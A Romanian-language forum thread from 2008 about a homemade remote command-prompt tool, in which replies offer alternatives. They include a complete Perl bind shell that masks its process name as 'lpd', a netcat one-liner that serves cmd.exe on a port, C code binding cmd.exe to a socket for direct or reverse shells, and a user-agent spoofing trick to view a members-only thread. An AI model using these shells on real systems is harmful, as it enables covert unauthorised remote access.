dranaxum Posted February 7, 2008 Report Posted February 7, 2008 BrainCode's Remote Command PromptDescriptionThis software is designed for the purpose of executing remote cmd commands via TCP/IP. We stuck to a console interface because we decided to keep the cmd "spirit".(You must connect to the host by ip in order to execute commands.)Strong points:- send remote cmd commands- upload/download filesIt was built in C# using .NET Framework 2.0.Usage:1. The server opens rcmd.server.exe and starts to listen2. The client opens rcmd.client.exe, connects to the server and starts executing commandsAboutCoded by DranaXumTested by ZapakitulDownload Linkhttp://rapidshare.com/files/89727302/rcmd.rar.html*Note: The archive contains both the server and the client application. The server will always be aware of what commands is the client executing.Useful links.NETFramework 2.0http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=enFor feedback please reply!In future versions- Secure connection- GUI- Update softwareOwner: www.hackpedia.info Quote
moubik Posted February 7, 2008 Report Posted February 7, 2008 scuza-ma ca te intreb, care este utilitatea programului ? Quote
dranaxum Posted February 7, 2008 Author Report Posted February 7, 2008 O sa raspund prin alta intrebare: care este utilitatea VNC-ului?Raspunsul este cam acelasi si anume remote control.Din cauza ca in Braincode nu facem programe care pot fi considerate virusi de aceea am vrut ca server-ul sa fie constient de orice actiune facuta de client.Urmatorul scenariu ar putea prezenta utilitatea programului:Eu sunt la scoala/serviciu, imi trebuie programul X de acasa si stiu ca am lasat calculatorul deschis (probabil sa downloadez ceva) atunci ma conectez la mine acasa si imi transfer datele care imi trebuie. Nu stiu path-ul? nimic mai simplu execut comanda tree si salvez outputul intrun fisier care apoi il downloadez la mine.Am precizat ca poti executa orice comanda cmd doresti. Quote
moubik Posted February 7, 2008 Report Posted February 7, 2008 sunt de acord cu ultilitatea VNC-ului.dar problema e ca de fiecare data cand vreau sa vad output-ul unei comenzi trebuie sa redirectionez stdout intr-un fisier. dupa care downloadez fisierul, vad ce scrie in el, dau urmatoarea comanda, redirect output in stdout ...mi se pare mai folositor urmatorul script:#!/usr/bin/perluse Socket;$port=911;$proto=getprotobyname('tcp');$cmd="lpd";$system='cmd.exe';$0=$cmd;socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";listen(SERVER, SOMAXCONN) or die "listen: $!";for(;$paddr=accept(CLIENT, SERVER);close CLIENT) { open(STDIN, ">&CLIENT"); open(STDOUT, ">&CLIENT"); open(STDERR, ">&CLIENT"); system($system); close(STDIN); close(STDOUT); close(STDERR);}Plusuri+Stiu/Pot sa modific portul pe care asculta (in cazul in care esti in spatele unui NAT si vrei sa faci port forwarding) (intradevar pot si la serverul tau sa aflu care este portul, dar nu pot sa-l modific)+Imi face output in client la comenzi.+Este mai usor de folosit, deoarece nu am nevoie de client specific, pot folosi netcat, telnet.Minusuri:-Nu pot sa transfer fisiereShell-ul acesta nu l-am facut eu, doar am modificat din /bin/sh in cmd.exe shell-ul prezentat aici de kuki.(daca nu vreti sa va faceti cont pentru a vedea threa-ul schimbati-va useragent-ul in "Googlebot/2.1 (+http://www.google.com/bot.html)") Quote
virusz Posted February 7, 2008 Report Posted February 7, 2008 frumusel dar la mine nu porneste clientul...mi se pare mai simplu sa folosesti netcat (nc -l -p XXX -c cmd.exe)bravo oricum!ps: am instalat .NET Framework 2.0, ma gandesc ca merge si cu alt client.. ? Quote
dranaxum Posted February 7, 2008 Author Report Posted February 7, 2008 In legatura cu outputul : daca nu vrei sa scrii in fisier i-l va afisa clientului. Cu sau fara output, comanda executata va fi afisata. Scrierea in fisier o faci ca sa transferi acel output.Voi face in urmatoarele versiuni un update sa poti modifica portul si sa fac din client un broadcast.Da, este nevoie de client specific virusz.Mi se pare destul de simplu de utilizat avand in vedere ca sunt comenzile standard cmd + connect, getfile si sendfile. Am mers pe comenzi cmd din cauza ca dupa cum stiti pot sa adaug in fisiere .bat instructiuni ciclice si conditionale + goto.PS: ma gandesc ca intr-un remote controller principalul este sa poti sa transferi fisiere. Quote
dranaxum Posted February 7, 2008 Author Report Posted February 7, 2008 Aaaa la asta te refereai.Da pai outputul e afisat serverului . O sa fac sa afiseze si clientului. Ti-am zis cum faci ca sa obtii outputul (deocamdata): scrii in fisier outputul si il transferi. Quote
moubik Posted February 7, 2008 Report Posted February 7, 2008 dranaxum, nu trebuie doar good coding, trebuie si uzabilitate Quote
tw8 Posted February 7, 2008 Report Posted February 7, 2008 scuza-ma ca te intreb, care este utilitatea programului ?Dranaxum, sunt de acord cu moubik.Partea cu executatul de comenzi CMD poate fi realizata extrem de usor iar transferul de fisiere ... sa zicem doar ca nu e mare filozofie.Ideea e ca mi se pare cam ciudat ca la un program "by Braincode" a lucrat un singur om si ca e primul, din moment ce voi ati inceput lucrul acum vreo 4 luni de zile si aveti o echipa stufoasa.In fine ... bafta . Quote
dranaxum Posted February 7, 2008 Author Report Posted February 7, 2008 tw8... ne trebuia un proiect repede. Nu am mai stat atat de mult la coding din motive evidente, fiecare are propriile proiecte. Echipa hmm no comment.Hmm m-am bazat mai mult pe idee. Nu cred ca exista prea multe programe de remote control care sa iti lase lejeritatea de a executa comenzi cmd.Stiti cateodata ideea poate reprezenta mai mult de 60% dintr-un program .Ok, vedem ce fac cu urmatoarea versiune, care va intarzia destul din cauza ca nu prea am timp disponibil pentru acest proiect.Repede si eficient .. zic eu ca mi-am atins scopul. Ca se poate duce la alt nivel asta vom vedea in viitor. Quote
vladiii Posted February 7, 2008 Report Posted February 7, 2008 Daca vrei sa citesti outputul unei comenzi CMD direct, fara sa folosesti fisier .txt, poti folosi API'ul CreatePipe. Pipe inseamna in romana teava. In cazul nostru, cmd.exe va scrie informatii pe teava, informatii care le va prelua softul. Practic, procesul care creeaza teava se numeste server, iar cel care se conecteaza la teava se numeste client.Deci, trebuie creat un nou proces [cu CreateProcess]. Ce proces ? Pai... In Visual Basic se foloseste Environ("ComSpec") pt. a determina exact calea catre cmd.exe. In c++ nu am reusit sa folosesc environ, dar am presupus ca pathul este c:\WINDOWS\system32\cmd.exe ! Deci practic, creez urmatorul proces:C:\WINDOWS\system32\cmd.exe /c tracert 127.0.0.1In cazul asta, tracert 127.0.0.1 este comanda cmd. Se poate inlocui cu orice altceva. Dupa ce cmd.exe a scris informatiile pe teava, le citim folosind ReadFile [tot winapi] si le alocam unui buffer.Cod in Visual Basic:http://planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=53893&lngWId=1Stii VB, deci te descurci .Btw, dragut soft. Bafta in continuare ! Quote
dranaxum Posted February 7, 2008 Author Report Posted February 7, 2008 O sa ma uit, oricum cred ca raman pe Console.Out ca sa iau outputul. Quote
SlicK Posted February 7, 2008 Report Posted February 7, 2008 Cel mai simplu se face cu CreateProcess iar cele 3 handleuri std de la STARTUPINFO(input,output si error) sa fie setate spre socket. In felul asta cmd.exe va primi input-ul si va trimite output-ul dinspre si spre socket.Exemplu:// "sock" este socketul creeat intre client si server fie direct, fie reverse STARTUPINFO SI={sizeof(SI)}; PROCESS_INFORMATION PI; SI.dwFlags=STARTF_USESTDHANDLES; SI.hStdError=(HANDLE)sock; SI.hStdInput=(HANDLE)sock; SI.hStdOutput=(HANDLE)sock; CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI); WaitForSingleObject(PI.hProcess,INFINITE); Quote
ÐÒ& Posted February 12, 2008 Report Posted February 12, 2008 dragut programul dar braincode ))ce dracu e aia "braincode",nu o lua in nume de rau dar esti un fel de rambo al programarii?ai o echipa care nu face absolut nimic????/Tested by Zapakitul!!cred ca asta a depus foarte multa munca pune ti echipa la munca! Quote
dranaxum Posted February 13, 2008 Author Report Posted February 13, 2008 "ce dracu e aia "braincode",nu o lua in nume de rau dar esti un fel de rambo al programarii?" <-- o hmm .. constatare care ma inspira si ... este foarte profunda. M-ai lasat fara cuvinte. Are 100% legatura cu program creat. Hai totusi sa ne comportam matur si sa vorbim in cunostiinta de cauza, nu pe din-afara. (asta cred ca o sa cer la infinit...)Hmm echipa e treaba mea... si s-a decis sa facem programe individual pentru "braincode"."pune ti echipa la munca!"Auzi, cumva vorbesti din experienta? (gandeste-te bine la sensul intrebarii si apoi raspunde).Apropo, nu ca as lua apararea cuiva, dar stii tu sa faci teste la limita? Teste din alea care sa iti dea peste cap toate calculele. (sa zicem ca nu e in discutie acest program din cauza ca nu prea a fost cazul de teste care pot sa dea peste cap totul). Hmmm e destul de grea CATEODATA treaba de tester... ca nu degeaba si infoarena.ro are echipa care face teste pentru problemele alea. (sa nu-mi zici ca si infoarena e prea varza pentru cunostintele tale)Hai te rog nu mai rade atata ca nu ai de ce... ai postat pur si simplu pentru "a new post".Inca ceva .. zi-mi si tu care e sensul sa fac astfel de program in echipa, cand e vorba de DOAR 400 linii pentru client respectiv pentru server. Ti se pare mult? Mie mi se pare infim! Quote
&#208;&#210;& Posted February 13, 2008 Report Posted February 13, 2008 Sincer,stiu sa fac teste aprox. la limita,eu doar ti am zis sa ti pui echipa la munca atata tot.Si nu ca sa ti usureze tie munca si banuiesc ca stii de ce.Chiar daca te faci ca nu stii pun punct discutiei,ti am zis mi a placut programul,mi a placut idea ,doar de echipa am avut de comentat.Pun . Quote
Nytro Posted February 13, 2008 Report Posted February 13, 2008 dranaxum si tu esti de parere ca 400 de linii care fac ceva != 2 linii care fac acelasi lucru ? Poate din punct de vedere al resurselor ... Dar nu vad rostul , mai ales cand nu e un program foarte complex . Nici la un program complex nu prea vad utilitatea ... Cred ca executarea a 400 de instructiuni != de cea a doua ... Shell "cmd.exe /c comanda", vbHide ' Optional Quote
Nytro Posted February 13, 2008 Report Posted February 13, 2008 Deci daca scriu in notepad Shell "cmd.exe /c comanda" si salvez cu extensia .remote , nu pot intra in calculatorul cuiva ? Ma intrebam la ce ti-au trebui 400 de linii de cod , in VB 6 cel putin erau necesare sub 100 . Quote
dranaxum Posted February 13, 2008 Author Report Posted February 13, 2008 O da... o da... si daca portul nu e deschis (al serverului)? Nu am auzit de extensia remote hmmm cel putin pe compul meu nu exista asa ceva (nu am program care sa recunosca .remote).Nytro ... eu C# tu VB intelegi? Plus ca am transfer de fisier... sau tu cand trimiti fisiere citesti tot fisierul (incarci ramul) si apoi trimiti? Eu citesc pe blocuri Nu ai luat programul Quote
Nytro Posted February 13, 2008 Report Posted February 13, 2008 Nu am luat programul pentru ca nu mi se pare util , adica te doare mana degeaba dupa 400 de linii de cod . Quote
dranaxum Posted February 13, 2008 Author Report Posted February 13, 2008 stii ce faci tu? Te aflii in treaba fiind pe din-afara Quote
Nytro Posted February 13, 2008 Report Posted February 13, 2008 Mda ... Aici e ca la cealalta cearta . Tie nu ti se pare util VB 9 Download , mie nu mi se pare util programul tau . Numai ca pentru programul tau inutil ai scris 400 de randuri , eu pentru al meu am scris o singura linie . Quote
virusz Posted February 13, 2008 Report Posted February 13, 2008 ma... oricum se gaseste cineva sa comenteze la orice... (e bine cateodata), dar nu va luati iara la "cearta"...cand faci ceva inveti cate ceva, data viitoare o sa faci mai bine... deci cui ii este folositor programul poate sa zica cate ceva, sau cel care ar putea ajuta la dezvoltarea lui (buguri ...blabla) si el ar putea sa zica cate ceva.. dar cei care nici nu la-ti downloadat va rog (pe bune), nu spuneti nimic despre el.ps: am o scuza.... (beer, apropo ..ce "tare" era sticla aia de la fun) Quote
dranaxum Posted February 13, 2008 Author Report Posted February 13, 2008 Nytro cati ani zici ca ai? Quote